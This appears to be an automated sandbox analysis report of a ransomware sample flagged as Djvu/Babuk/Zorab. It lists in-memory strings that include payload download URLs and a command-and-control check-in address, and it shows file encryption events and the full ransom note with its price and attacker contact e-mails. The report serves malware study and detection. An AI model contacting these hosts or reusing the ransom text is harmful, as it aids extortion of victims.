Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rar
Source: lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k5.rarsC:
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000752000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$run
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$runer
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000752000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/files/1/build3.exe$runnn
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/iles/1/build3.exe
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/s
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006D1000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832053709.000000000076B000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2430905791.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431120963.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431184423.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431244426.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431306745.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431432894.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431514384.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2431583552.0000000003270000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe$run
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.1832009736.0000000000755000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zerit.top/dl/build2.exe:=
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.0000000000709000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000678000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/)
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/A
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/U
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json-Agent:
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.00000000005E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json2j
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1463170618.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json8
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonB
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000004.00000002.1331878215.00000000006C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.jsonx
Source: wctC19B.tmp.8.dr	String found in binary or memory: https://dc.services.visualstudio.com/v2/track
Source: wctC19B.tmp.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co
Source: wctC19B.tmp.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Enterprisehttps://g.live.com/odclientsettings/MsitFasthttps://g.
Source: lvAVrO.exe, 00000002.00000002.1435881124.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 00000002.00000003.1365547945.0000000000E25000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000002.1657818388.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, lvAVrO.exe, 0000000F.00000003.1493215893.0000000000B88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-NdDG3HIU
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000709000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000735000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2536135899.0000000000678000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://we.tl/t-NdDG3HIUZp

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54343
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 54343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.10:54343 version: TLS 1.2

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 4_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

4_2_004822E0

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_readme.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.You can get and look video overview decrypt tool:https://we.tl/t-NdDG3HIUZpPrice of private key and decrypt software is $980.Discount 50% available if you contact us first 72 hours, that's price for you is $490.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@sysmail.chReserve e-mail address to contact us:supportsys@airmail.ccYour personal ID:0425JsfkjndYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2536137038.0000000000756000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2536135899.00000000006B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 7816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8084, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8104, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 3276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8044, type: MEMORYSTR

Yara detected Zorab Ransomware

Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File moved: C:\Users\user\Desktop\EIVQSAOTAQ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File deleted: C:\Users\user\Desktop\EIVQSAOTAQ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File moved: C:\Users\user\Desktop\EOWRVPQCCS.png	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File deleted: C:\Users\user\Desktop\EOWRVPQCCS.png	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File moved: C:\Users\user\Desktop\NVWZAPQSQL\ZIPXYXWIOY.png	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0425jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0425jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0425jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-nddg3hiuzpprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0425jsfkjndyudke4rrbmspsf8srhmsyp40jle9uyxddcfdxt1	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite entropy: 7.99795047385	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-shm entropy: 7.99400485796	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico entropy: 7.99868123599	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db entropy: 7.99056516036	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico entropy: 7.9976326505	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm entropy: 7.994314454	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal entropy: 7.99746069608	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 entropy: 7.99718784329	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm entropy: 7.99404422257	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl entropy: 7.99714665973	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat entropy: 7.99584470018	Jump to dropped file
